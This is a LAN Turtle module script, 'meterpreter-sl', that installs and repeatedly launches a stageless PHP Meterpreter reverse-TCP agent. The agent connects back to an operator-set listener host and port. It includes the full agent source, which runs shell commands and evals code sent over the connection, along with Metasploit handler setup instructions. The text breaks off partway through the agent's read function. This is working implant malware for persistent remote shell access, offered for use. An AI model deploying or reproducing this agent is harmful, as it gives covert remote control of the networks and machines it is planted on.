lanturtle-modules/modules/meterpreter-sl

1234 lines
39 KiB
Bash

#!/bin/bash /usr/lib/turtle/turtle_module
# meterpreter-sl by IMcPwn
# http://imcpwn.com
VERSION="2.1"
DESCRIPTION="Deprecated - requires firmware v6.1 or below. Stageless Metasploit payload to maintain shells"
CONF=/tmp/meterpreter-sl.form
AUTHOR=IMcPwn
: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ESC=255}
function start {
if [ -s /etc/config/meterpreter-sl ]
then
meterpreter_sl_host=$(uci get meterpreter-sl.host)
meterpreter_sl_port=$(uci get meterpreter-sl.port)
meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
if [[ $meterpreter_sl_host == "" ]]
then
echo "Stageless Meterpreter host not set"
exit 1
fi
if [[ $meterpreter_sl_port == "" ]]
then
echo "Stageless Meterpreter port not set"
exit 1
fi
if [[ $meterpreter_sl_sleep == "" ]]
then
echo "Stageless Meterpreter sleep time not set"
exit 1
fi
if [ ! -s /etc/turtle/meterpreter/meterpreter-sl-exec.py ]
then
echo -e "\nStageless Meterpreter looping script does not exist.\nCreating it now...\n"
create_exec
fi
if [ ! -s /usr/bin/stageless-meterpreter ]
then
echo -e "\nPHP Stageless Meterpreter executable does not exist.\nCreating it now...\n"
create_program
fi
echo "Starting stageless meterpreter on IP $meterpreter_sl_host and port $meterpreter_sl_port"
touch /tmp/meterpreter-sl.lock
echo "python /etc/turtle/meterpreter/meterpreter-sl-exec.py &" | at now
echo "Stageless meterpreter started with pid"
pgrep -f meterpreter-sl-exec.py
else
echo "Stageless Meterpreter not configured"
fi
}
function stop {
rm -f /tmp/meterpreter-sl.lock
if pgrep -f meterpreter-sl-exec.py > /dev/null; then kill $(pgrep -f meterpreter-sl-exec.py); fi
if pgrep -f stageless_meterpreter > /dev/null; then kill $(pgrep -f stageless_meterpreter); fi
echo "Stageless Meterpreter stopped"
}
function status {
if ps | grep -w -q [/]etc/turtle/meterpreter/meterpreter-sl-exec.py; then echo "1"; else echo "0"; fi
}
function configure {
if [ -s /etc/config/meterpreter-sl ]
then
meterpreter_sl_host=$(uci get meterpreter-sl.host)
meterpreter_sl_port=$(uci get meterpreter-sl.port)
meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
else
touch /etc/config/meterpreter-sl
fi
dialog --ok-label "Submit" \
--help-button \
--title "Stageless Meterpreter Configuration" \
--form "PHP Stageless Meterpreter (Metasploit Module)\n\n\
Stageless Meterpreter connects to the host and port you specify.\nSleep Time is the delay in between each connection attempt.\n" 14 60 3\
"Listen Host:" 1 1 "$meterpreter_sl_host" 1 14 48 0 \
"Listen Port:" 2 1 "$meterpreter_sl_port" 2 14 48 0 \
"Sleep Time:" 3 1 "$meterpreter_sl_sleep" 3 14 48 0 \
2>$CONF
return=$?
case $return in
$DIALOG_OK)
cat $CONF | {
read -r meterpreter_sl_host
read -r meterpreter_sl_port
read -r meterpreter_sl_sleep
uci set meterpreter-sl.host="$meterpreter_sl_host"
uci set meterpreter-sl.port="$meterpreter_sl_port"
uci set meterpreter-sl.sleep=$meterpreter_sl_sleep
uci commit meterpreter-sl
rm $CONF
clear
};;
$DIALOG_HELP)
dialog --title "Help" \
--msgbox "\
Host - IP or Hostname of target stageless meterpreter listener\n\
Port - Port number of target stageless meterpreter listener\n\
Sleep Time - Time stageless meterpreter waits in between each connection attempt\n \n\
use exploit/multi/handler \n\
# Handles multiple meterpreter sessions\n \n\
set PAYLOAD php/meterpreter_reverse_tcp \n\
# Setting for Stageless Reverse TCP Meterpreter\n \n\
set LHOST [host or ip] \n\
# Hostname or IP of listener\n \n\
set LPORT [port number] \n\
# Port of listener\n \n\
set ExitOnSession false \n\
# Let the exploit continue when meterpreter exists\n \n\
exploit -j \n\
# Make the exploit a backgroundable job\n \n\
sessions \n\
# Lists sessions\n \n\
sessions -i [number] \n\
# Interacts with session number\n \n\
" 20 74
configure
;;
$DIALOG_CANCEL)
rm $CONF
clear
exit;;
$DIALOG_ESC)
clear;;
esac
}
function create_exec {
mkdir -p /etc/turtle/meterpreter
cat << EOF > /etc/turtle/meterpreter/meterpreter-sl-exec.py
#!/usr/bin/python
# meterpreter-sl-exec.py by IMcPwn
# http://imcpwn.com
import os
import sys
import subprocess
import time
DATE = subprocess.Popen("date", shell=True, stdout=subprocess.PIPE).stdout.read()
DATE = DATE.replace("\n", "")
HOST = subprocess.Popen("uci get meterpreter-sl.host", shell=True, stdout=subprocess.PIPE).stdout.read()
HOST = HOST.replace("\n", "")
PORT = subprocess.Popen("uci get meterpreter-sl.port", shell=True, stdout=subprocess.PIPE).stdout.read()
PORT = PORT.replace("\n", "")
SLEEP = subprocess.Popen("uci get meterpreter-sl.sleep", shell=True, stdout=subprocess.PIPE).stdout.read()
SLEEP = SLEEP.replace("\n", "")
STAGELESS_METERPRETER = "/usr/bin/stageless-meterpreter " + HOST + " " + PORT
if HOST == "" or PORT == "":
subprocess.call('/usr/bin/logger "Meterpreter: Error, configuration blank"', shell=True)
print "Meterpreter: Error, configuration blank"
try:
os.remove("/tmp/meterpreter-sl.lock")
except:
pass
sys.exit(1)
else:
while os.path.isfile("/tmp/meterpreter-sl.lock"):
subprocess.call('/usr/bin/logger "Meterpreter: Started at $DATE with $HOST $PORT"', shell=True)
print "Started Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
subprocess.call(STAGELESS_METERPRETER, shell=True)
time.sleep(float(SLEEP))
# Done!
subprocess.call('/usr/bin/logger "Meterpreter: Stopped at $DATE with $HOST $PORT"', shell=True)
print "Stopped Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
print "\nTo run again, use \"start meterpreter-sl\" or create /tmp/meterpeter-sl.lock then execute this file again"
print "To stop again, use \"stop meterpreter-sl\" or manually delete /tmp/meterpreter-sl.lock"
try:
os.remove("/tmp/meterpreter-sl.lock")
except:
pass
EOF
chmod +x /etc/turtle/meterpreter/meterpreter-sl-exec.py
}
function create_program {
cat << EOF > /usr/bin/stageless-meterpreter
#!/usr/bin/env /usr/bin/php-cli
<?php
error_reporting(0);
if (\$argc < 3) {
echo "Usage: stageless-meterpreter HOST PORT\n\n";
exit(1);
}
\$ipaddr = \$argv[1];
\$port = \$argv[2];
\$ipf = AF_INET;
if (!isset(\$GLOBALS['channels'])) {
\$GLOBALS['channels'] = array();
}
if (!isset(\$GLOBALS['channel_process_map'])) {
\$GLOBALS['channel_process_map'] = array();
}
if (!isset(\$GLOBALS['resource_type_map'])) {
\$GLOBALS['resource_type_map'] = array();
}
if (!isset(\$GLOBALS['udp_host_map'])) {
\$GLOBALS['udp_host_map'] = array();
}
if (!isset(\$GLOBALS['readers'])) {
\$GLOBALS['readers'] = array();
}
if (!isset(\$GLOBALS['commands'])) {
\$GLOBALS['commands'] = array(
"core_loadlib",
"core_machine_id",
"core_uuid"
);
}
function register_command(\$c)
{
global \$commands;
if (!in_array(\$c, \$commands)) {
array_push(\$commands, \$c);
}
}
function my_print(\$str)
{
}
my_print("Evaling main meterpreter stage");
function dump_array(\$arr, \$name = null)
{
if (is_null(\$name)) {
\$name = "Array";
}
my_print(sprintf("\$name (%s)", count(\$arr)));
foreach (\$arr as \$key => \$val) {
if (is_array(\$val)) {
dump_array(\$val, "{\$name}[{\$key}]");
} else {
my_print(sprintf(" \$key (\$val)"));
}
}
}
function dump_readers()
{
global \$readers;
dump_array(\$readers, 'Readers');
}
function dump_resource_map()
{
global \$resource_type_map;
dump_array(\$resource_type_map, 'Resource map');
}
function dump_channels(\$extra = "")
{
global \$channels;
dump_array(\$channels, 'Channels ' . \$extra);
}
if (!function_exists("file_get_contents")) {
function file_get_contents(\$file)
{
\$f = @fopen(\$file, "rb");
\$contents = false;
if (\$f) {
do {
\$contents .= fgets(\$f);
} while (!feof(\$f));
}
fclose(\$f);
return \$contents;
}
}
if (!function_exists('socket_set_option')) {
function socket_set_option(\$sock, \$type, \$opt, \$value)
{
socket_setopt(\$sock, \$type, \$opt, \$value);
}
}
define("PAYLOAD_UUID", "\x83\xac\x98\xe3\x99\x7a\x65\xca\xf2\x9c\xe1\x93\xa7\x78\x24\x80");
define("PACKET_TYPE_REQUEST", 0);
define("PACKET_TYPE_RESPONSE", 1);
define("PACKET_TYPE_PLAIN_REQUEST", 10);
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
define("ERROR_SUCCESS", 0);
define("ERROR_FAILURE", 1);
define("CHANNEL_CLASS_BUFFERED", 0);
define("CHANNEL_CLASS_STREAM", 1);
define("CHANNEL_CLASS_DATAGRAM", 2);
define("CHANNEL_CLASS_POOL", 3);
define("TLV_META_TYPE_NONE", (0));
define("TLV_META_TYPE_STRING", (1 << 16));
define("TLV_META_TYPE_UINT", (1 << 17));
define("TLV_META_TYPE_RAW", (1 << 18));
define("TLV_META_TYPE_BOOL", (1 << 19));
define("TLV_META_TYPE_QWORD", (1 << 20));
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
define("TLV_META_TYPE_GROUP", (1 << 30));
define("TLV_META_TYPE_COMPLEX", (1 << 31));
define("TLV_META_TYPE_MASK", (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16));
define("TLV_RESERVED", 0);
define("TLV_EXTENSIONS", 20000);
define("TLV_USER", 40000);
define("TLV_TEMP", 60000);
define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
function my_cmd(\$cmd)
{
return shell_exec(\$cmd);
}
function is_windows()
{
return (strtoupper(substr(PHP_OS, 0, 3)) == "WIN");
}
function core_channel_open(\$req, &\$pkt)
{
\$type_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_TYPE);
my_print("Client wants a " . \$type_tlv['value'] . " channel, i'll see what i can do");
\$handler = "channel_create_" . \$type_tlv['value'];
if (\$type_tlv['value'] && is_callable(\$handler)) {
my_print("Calling {\$handler}");
\$ret = \$handler(\$req, \$pkt);
} else {
my_print("I don't know how to make a " . \$type_tlv['value'] . " channel. =(");
\$ret = ERROR_FAILURE;
}
return \$ret;
}
function core_channel_eof(\$req, &\$pkt)
{
my_print("doing channel eof");
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
\$c = get_channel_by_id(\$chan_tlv['value']);
if (\$c) {
if (eof(\$c[1])) {
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 1));
} else {
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 0));
}
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
function core_channel_read(\$req, &\$pkt)
{
my_print("doing channel read");
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
\$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
\$id = \$chan_tlv['value'];
\$len = \$len_tlv['value'];
\$data = channel_read(\$id, \$len);
if (\$data === false) {
\$res = ERROR_FAILURE;
} else {
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
\$res = ERROR_SUCCESS;
}
return \$res;
}
function core_channel_write(\$req, &\$pkt)
{
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
\$data_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_DATA);
\$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
\$id = \$chan_tlv['value'];
\$data = \$data_tlv['value'];
\$len = \$len_tlv['value'];
\$wrote = channel_write(\$id, \$data, \$len);
if (\$wrote === false) {
return ERROR_FAILURE;
} else {
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, \$wrote));
return ERROR_SUCCESS;
}
}
function core_channel_close(\$req, &\$pkt)
{
global \$channel_process_map;
my_print("doing channel close");
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
\$id = \$chan_tlv['value'];
\$c = get_channel_by_id(\$id);
if (\$c) {
channel_close_handles(\$id);
channel_remove(\$id);
if (array_key_exists(\$id, \$channel_process_map) and is_callable('close_process')) {
close_process(\$channel_process_map[\$id]);
}
return ERROR_SUCCESS;
}
dump_channels("after close");
return ERROR_FAILURE;
}
function channel_close_handles(\$cid)
{
global \$channels;
if (!array_key_exists(\$cid, \$channels)) {
return;
}
\$c = \$channels[\$cid];
for (\$i = 0; \$i < 3; \$i++) {
if (array_key_exists(\$i, \$c) && is_resource(\$c[\$i])) {
close(\$c[\$i]);
remove_reader(\$c[\$i]);
}
}
if (strlen(\$c['data']) == 0) {
channel_remove(\$cid);
}
}
function channel_remove(\$cid)
{
global \$channels;
unset(\$channels[\$cid]);
}
function core_channel_interact(\$req, &\$pkt)
{
global \$readers;
my_print("doing channel interact");
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
\$id = \$chan_tlv['value'];
\$toggle_tlv = packet_get_tlv(\$req, TLV_TYPE_BOOL);
\$c = get_channel_by_id(\$id);
if (\$c) {
if (\$toggle_tlv['value']) {
if (!in_array(\$c[1], \$readers)) {
add_reader(\$c[1]);
if (array_key_exists(2, \$c) && \$c[1] != \$c[2]) {
add_reader(\$c[2]);
}
\$ret = ERROR_SUCCESS;
} else {
\$ret = ERROR_FAILURE;
}
} else {
if (in_array(\$c[1], \$readers)) {
remove_reader(\$c[1]);
remove_reader(\$c[2]);
\$ret = ERROR_SUCCESS;
} else {
\$ret = ERROR_SUCCESS;
}
}
} else {
my_print("Trying to interact with an invalid channel");
\$ret = ERROR_FAILURE;
}
return \$ret;
}
function interacting(\$cid)
{
global \$readers;
\$c = get_channel_by_id(\$cid);
if (in_array(\$c[1], \$readers)) {
return true;
}
return false;
}
function core_shutdown(\$req, &\$pkt)
{
my_print("doing core shutdown");
die();
}
function core_loadlib(\$req, &\$pkt)
{
global \$commands;
my_print("doing core_loadlib");
\$data_tlv = packet_get_tlv(\$req, TLV_TYPE_DATA);
if ((\$data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
}
\$tmp = \$commands;
eval(\$data_tlv['value']);
\$new = array_diff(\$commands, \$tmp);
foreach (\$new as \$meth) {
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, \$meth));
}
return ERROR_SUCCESS;
}
function core_uuid(\$req, &\$pkt)
{
my_print("doing core_uuid");
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID));
return ERROR_SUCCESS;
}
function get_hdd_label()
{
foreach (scandir('/dev/disk/by-id/') as \$file) {
foreach (array(
"ata-",
"mb-"
) as \$prefix) {
if (strpos(\$file, \$prefix) === 0) {
return substr(\$file, strlen(\$prefix));
}
}
}
return "";
}
function core_machine_id(\$req, &\$pkt)
{
my_print("doing core_machine_id");
\$machine_id = gethostname();
\$serial = "";
if (is_windows()) {
\$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
\$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '\$1', \$output);
} else {
\$serial = get_hdd_label();
}
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_MACHINE_ID, \$serial . ":" . \$machine_id));
return ERROR_SUCCESS;
}
\$channels = array();
function register_channel(\$in, \$out = null, \$err = null)
{
global \$channels;
if (\$out == null) {
\$out = \$in;
}
if (\$err == null) {
\$err = \$out;
}
\$channels[] = array(
0 => \$in,
1 => \$out,
2 => \$err,
'type' => get_rtype(\$in),
'data' => ''
);
\$id = end(array_keys(\$channels));
my_print("Created new channel \$in, with id \$id");
return \$id;
}
function get_channel_id_from_resource(\$resource)
{
global \$channels;
if (empty(\$channels)) {
return false;
}
foreach (\$channels as \$i => \$chan_ary) {
if (in_array(\$resource, \$chan_ary)) {
my_print("Found channel id \$i");
return \$i;
}
}
return false;
}
function get_channel_by_id(\$chan_id)
{
global \$channels;
my_print("Looking up channel id \$chan_id");
if (array_key_exists(\$chan_id, \$channels)) {
my_print("Found one");
return \$channels[\$chan_id];
} else {
return false;
}
}
function channel_write(\$chan_id, \$data)
{
\$c = get_channel_by_id(\$chan_id);
if (\$c && is_resource(\$c[0])) {
my_print("---Writing '\$data' to channel \$chan_id");
return write(\$c[0], \$data);
} else {
return false;
}
}
function channel_read(\$chan_id, \$len)
{
\$c = get_channel_by_id(\$chan_id);
if (\$c) {
\$ret = substr(\$c['data'], 0, \$len);
\$c['data'] = substr(\$c['data'], \$len);
if (strlen(\$ret) > 0) {
my_print("Had some leftovers: '\$ret'");
}
if (strlen(\$ret) < \$len and is_resource(\$c[2]) and \$c[1] != \$c[2]) {
\$read = read(\$c[2]);
\$c['data'] .= \$read;
\$bytes_needed = \$len - strlen(\$ret);
\$ret .= substr(\$c['data'], 0, \$bytes_needed);
\$c['data'] = substr(\$c['data'], \$bytes_needed);
}
if (strlen(\$ret) < \$len and is_resource(\$c[1])) {
\$read = read(\$c[1]);
\$c['data'] .= \$read;
\$bytes_needed = \$len - strlen(\$ret);
\$ret .= substr(\$c['data'], 0, \$bytes_needed);
\$c['data'] = substr(\$c['data'], \$bytes_needed);
}
if (false === \$read and empty(\$ret)) {
if (interacting(\$chan_id)) {
handle_dead_resource_channel(\$c[1]);
}
return false;
}
return \$ret;
} else {
return false;
}
}
function generate_req_id()
{
\$characters = 'abcdefghijklmnopqrstuvwxyz';
\$rid = '';
for (\$p = 0; \$p < 32; \$p++) {
\$rid .= \$characters[rand(0, strlen(\$characters) - 1)];
}
return \$rid;
}
function handle_dead_resource_channel(\$resource)
{
global \$msgsock;
if (!is_resource(\$resource)) {
return;
}
\$cid = get_channel_id_from_resource(\$resource);
if (\$cid === false) {
my_print("Resource has no channel: {\$resource}");
remove_reader(\$resource);
close(\$resource);
} else {
my_print("Handling dead resource: {\$resource}, for channel: {\$cid}");
channel_close_handles(\$cid);
\$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
write(\$msgsock, \$pkt);
}
return;
}
function handle_resource_read_channel(\$resource, \$data)
{
global \$udp_host_map;
\$cid = get_channel_id_from_resource(\$resource);
my_print("Handling data from \$resource");
\$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
if (array_key_exists((int) \$resource, \$udp_host_map)) {
list(\$h, \$p) = \$udp_host_map[(int) \$resource];
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_HOST, \$h));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_PORT, \$p));
}
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, strlen(\$data)));
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
return \$pkt;
}
function create_response(\$req)
{
\$pkt = pack("N", PACKET_TYPE_RESPONSE);
\$method_tlv = packet_get_tlv(\$req, TLV_TYPE_METHOD);
my_print("method is {\$method_tlv['value']}");
packet_add_tlv(\$pkt, \$method_tlv);
\$reqid_tlv = packet_get_tlv(\$req, TLV_TYPE_REQUEST_ID);
packet_add_tlv(\$pkt, \$reqid_tlv);
if (is_callable(\$method_tlv['value'])) {
\$result = \$method_tlv['value'](\$req, \$pkt);
} else {
my_print("Got a request for something I don't know how to handle (" . \$method_tlv['value'] . "), returning failure");
\$result = ERROR_FAILURE;
}
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_RESULT, \$result));
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
return \$pkt;
}
function create_tlv(\$type, \$val)
{
return array(
'type' => \$type,
'value' => \$val
);
}
function tlv_pack(\$tlv)
{
\$ret = "";
if ((\$tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
\$ret = pack("NNa*", 8 + strlen(\$tlv['value']) + 1, \$tlv['type'], \$tlv['value'] . "\0");
} elseif ((\$tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
\$hi = (\$tlv['value'] >> 32) & 0xFFFFFFFF;
\$lo = \$tlv['value'] & 0xFFFFFFFF;
\$ret = pack("NNNN", 8 + 8, \$tlv['type'], \$hi, \$lo);
} elseif ((\$tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
\$ret = pack("NNN", 8 + 4, \$tlv['type'], \$tlv['value']);
} elseif ((\$tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
\$ret = pack("NN", 8 + 1, \$tlv['type']);
\$ret .= \$tlv['value'] ? "\x01" : "\x00";
} elseif ((\$tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
} elseif ((\$tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
} elseif ((\$tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
} else {
my_print("Don't know how to make a tlv of type " . \$tlv['type'] . " (meta type " . sprintf("%08x", \$tlv['type'] & TLV_META_TYPE_MASK) . "), wtf");
}
return \$ret;
}
function tlv_unpack(\$raw_tlv)
{
\$tlv = unpack("Nlen/Ntype", substr(\$raw_tlv, 0, 8));
\$type = \$tlv['type'];
my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
if ((\$type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
\$tlv = unpack("Nlen/Ntype/a*value", substr(\$raw_tlv, 0, \$tlv['len']));
\$tlv['value'] = str_replace("\0", "", \$tlv['value']);
} elseif ((\$type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
\$tlv = unpack("Nlen/Ntype/Nvalue", substr(\$raw_tlv, 0, \$tlv['len']));
} elseif ((\$type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
\$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr(\$raw_tlv, 0, \$tlv['len']));
\$tlv['value'] = \$tlv['hi'] << 32 | \$tlv['lo'];
} elseif ((\$type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
\$tlv = unpack("Nlen/Ntype/cvalue", substr(\$raw_tlv, 0, \$tlv['len']));
} elseif ((\$type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
\$tlv = unpack("Nlen/Ntype", \$raw_tlv);
\$tlv['value'] = substr(\$raw_tlv, 8, \$tlv['len'] - 8);
} else {
my_print("Wtf type is this? \$type");
\$tlv = null;
}
return \$tlv;
}
function packet_add_tlv(&\$pkt, \$tlv)
{
\$pkt .= tlv_pack(\$tlv);
}
function packet_get_tlv(\$pkt, \$type)
{
\$offset = 8;
while (\$offset < strlen(\$pkt)) {
\$tlv = tlv_unpack(substr(\$pkt, \$offset));
if (\$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
return \$tlv;
}
\$offset += \$tlv['len'];
}
return false;
}
function packet_get_all_tlvs(\$pkt, \$type)
{
my_print("Looking for all tlvs of type \$type");
\$offset = 8;
\$all = array();
while (\$offset < strlen(\$pkt)) {
\$tlv = tlv_unpack(substr(\$pkt, \$offset));
if (\$tlv == NULL) {
break;
}
my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
if (empty(\$type) || \$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
my_print("Found one at offset \$offset");
array_push(\$all, \$tlv);
}
\$offset += \$tlv['len'];
}
return \$all;
}
function register_socket(\$sock, \$ipaddr = null, \$port = null)
{
global \$resource_type_map, \$udp_host_map;
my_print("Registering socket \$sock for (\$ipaddr:\$port)");
\$resource_type_map[(int) \$sock] = 'socket';
if (\$ipaddr) {
\$udp_host_map[(int) \$sock] = array(
\$ipaddr,
\$port
);
}
}
function register_stream(\$stream, \$ipaddr = null, \$port = null)
{
global \$resource_type_map, \$udp_host_map;
my_print("Registering stream \$stream for (\$ipaddr:\$port)");
\$resource_type_map[(int) \$stream] = 'stream';
if (\$ipaddr) {
\$udp_host_map[(int) \$stream] = array(
\$ipaddr,
\$port
);
}
}
function connect(\$ipaddr, \$port, \$proto = 'tcp')
{
my_print("Doing connect(\$ipaddr, \$port)");
\$sock = false;
\$raw_ip = \$ipaddr;
if (FALSE !== strpos(\$ipaddr, ":")) {
\$ipf = AF_INET6;
\$ipaddr = "[" . \$raw_ip . "]";
}
if (is_callable('stream_socket_client')) {
my_print("stream_socket_client({\$proto}://{\$ipaddr}:{\$port})");
\$sock = stream_socket_client("{\$proto}://{\$ipaddr}:{\$port}");
my_print("Got a sock: \$sock");
if (!\$sock) {
return false;
}
if (\$proto == 'tcp') {
register_stream(\$sock);
} elseif (\$proto == 'udp') {
register_stream(\$sock, \$ipaddr, \$port);
} else {
my_print("WTF proto is this: '\$proto'");
}
} else if (is_callable('fsockopen')) {
my_print("fsockopen");
if (\$proto == 'tcp') {
\$sock = fsockopen(\$ipaddr, \$port);
if (!\$sock) {
return false;
}
if (is_callable('socket_set_timeout')) {
socket_set_timeout(\$sock, 2);
}
register_stream(\$sock);
} else {
\$sock = fsockopen(\$proto . "://" . \$ipaddr, \$port);
if (!\$sock) {
return false;
}
register_stream(\$sock, \$ipaddr, \$port);
}
} else if (is_callable('socket_create')) {
my_print("socket_create");
if (\$proto == 'tcp') {
\$sock = socket_create(\$ipf, SOCK_STREAM, SOL_TCP);
\$res = socket_connect(\$sock, \$raw_ip, \$port);
if (!\$res) {
return false;
}
register_socket(\$sock);
} elseif (\$proto == 'udp') {
\$sock = socket_create(\$ipf, SOCK_DGRAM, SOL_UDP);
register_socket(\$sock, \$raw_ip, \$port);
}
}
return \$sock;
}
function eof(\$resource)
{
\$ret = false;
switch (get_rtype(\$resource)) {
case 'socket':
break;
case 'stream':
\$ret = feof(\$resource);
break;
}
return \$ret;
}
function close(\$resource)
{
my_print("Closing resource \$resource");
global \$resource_type_map, \$udp_host_map;
remove_reader(\$resource);
switch (get_rtype(\$resource)) {
case 'socket':
\$ret = socket_close(\$resource);
break;
case 'stream':
\$ret = fclose(\$resource);
break;
}
if (array_key_exists((int) \$resource, \$resource_type_map)) {
unset(\$resource_type_map[(int) \$resource]);
}
if (array_key_exists((int) \$resource, \$udp_host_map)) {
my_print("Removing \$resource from udp_host_map");
unset(\$udp_host_map[(int) \$resource]);
}
return \$ret;
}
function read(\$resource, \$len = null)
{
global \$udp_host_map;
if (is_null(\$len)) {
\$len = 8192;
}
\$buff = '';
switch (get_rtype(\$resource)) {
case 'socket':
if (array_key_exists((int) \$resource, \$udp_host_map)) {
my_print("Reading UDP socket");
list(\$host, \$port) = \$udp_host_map[(int) \$resource];
socket_recvfrom(\$resource, \$buff, \$len, PHP_BINARY_READ, \$host, \$port);
} else {
my_print("Reading TCP socket");
